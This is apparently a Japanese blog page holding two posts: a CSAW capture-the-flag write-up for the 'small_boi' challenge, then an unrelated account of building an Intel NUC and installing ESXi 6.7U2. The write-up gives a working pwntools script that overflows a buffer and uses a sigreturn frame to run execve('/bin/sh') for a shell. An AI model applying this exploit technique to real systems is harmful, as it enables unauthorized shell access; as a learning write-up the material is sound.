すごい小さく dynamic link もしてないバイナリ.libc はないが syscall はいくつかある. BOF があるので ROP してなんとかすればいいんじゃないかと思い試行錯誤するも敗北.
pop eax はあるので任意の syscall は呼び出せる,でも rdi をセットできない.
/bin/sh はなぜか strings すると以下のようにあるのでほんと rdi だけセットできれば勝てる. (1ca だが調べてみると 0x400000 が base になるらしいのでそれを足した 0x4001ca/bin/shのアドレス).

$ strings -tx ./small_boi | grep /bin/sh
    1ca /bin/sh

ここから無限に迷走して終了した.

どうも Sigreturn-oriented Programming(SROP) 問題だったらしい.
sigreturn 命令は確かに ropgadget の中にあった.

0x00400180: mov eax, 0x0000000F ; syscall  ;  (1 found)

こいつを呼び出すとレジスタを任意の値にセットでき,そこでセットした rip から処理が続行されるらしい.
詳しい解説は SROP などで調べてください.
なのでやることは以下.

  • BOF させて 0x400180 の sigreturn を実行
  • rax に execve の syscall 番号 0x3b をセット
  • rdi に /bin/sh のアドレス 0x4001ca をセット
  • rip に 上記でセットしたレジスタ状態で syscall を呼びたいので syscall のアドレスをセット(どれでもいい)

するとシェルがあがる(以下はローカルで動作確認した).

from pwn import *

context.arch = 'amd64'
# con = remote('pwn.chal.csaw.io', 1002)
con = remote('192.168.10.66', 11002)

payload = 'A' * 40
payload += pack(0x400180)
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x4001ca
frame.rip = 0x400185
payload += str(frame)
con.sendline(payload)

con.interactive()

まとめ

Twitch の問題はいくらなんでも厳しすぎると思った.
そして SROP 知らないのダメダメですね….もっと勉強しなければ….

ESXi 6.7U2 on BOXNUC8I5BEH

ESXi 6.7U2 on BOXNUC8I5BEH

以前は以下でも書いたように第5世代の NUC に ESXi を入れて使っていたが,古くなってきたのと新しいものが欲しくなってきたので調達してみた.

yuta1024.hateblo.jp

買ったもの

アフィは嫌いなので型番と値段だけ転がしておく.計69442円.
電源ケーブル(ミッキーケーブル)は付属してないので注意.

  • 本体: Intel NUC Kit BOXNUC8I5BEH(46622円)
  • メモリ: CFD Selection D4N2400CM-16G * 2本(8585円 * 2本)
  • ストレージ: ADATA XPG SX6000 Pro ASX6000PNP-256GT-C(4900円)
  • ブートディスク: SanDisk Cruzer Fit SDCZ33-016G-JA57(660円)

組み立て

蓋開けてメモリと NVMe 挿すだけ.

メモリテスト

最終的にはブートディスクにはするけど先に memtest 投げ込んでテスト.
memtest は以下の free 版で.

www.memtest86.com

hammer test は外して4周するのに3時間40分くらいだった.

f:id:yharima:20190812172444j:plain

BIOS の更新

ESXi 入れる前に BIOS を最新にしておいたほうが良いという情報が散見されたのであげた.
memtest で使った USB メモリを FAT32 でフォーマットして以下から落としてきた BIOS を普通にコピーするだけ.
自分がダウンロードしたのは "OS Independent" の "BE0073.bio"(現時点最新なので数字は変わりそう).

downloadcenter.intel.com

NUC を起動したら F2 を押して UEFI を起動して以下の手順に従って更新.
FAT32 の USB メモリを普通に読めるとかすごいですね(老害並み感).

www.intel.com

ESXi のインストール用 USB メモリの作成

今回の NUC はカスタムイメージである必要がないので,公式から ESXi 6.7U2 を落としてきてブートディスク用の USB メモリに Rufus で bootable image に変換してあげれば良い.
手順は以下を参考に.というかこのサイトが最高.

www.virten.net

ESXi のインストール

上記で作成した USB メモリを作成して手順に従ってインストールするだけ.
自分は NVMe は VM 用のディスクとして利用するので, ESXi はインストール用 USB メモリに書き込んだ.

f:id:yharima:20190812174445j:plain

まとめ

メモリも 32GB になって,カスタムイメージじゃなくなったりでさらに楽になって最近の NUC は素晴らしい.
k8s はあれだし Normad あたりで遊ぶ予定.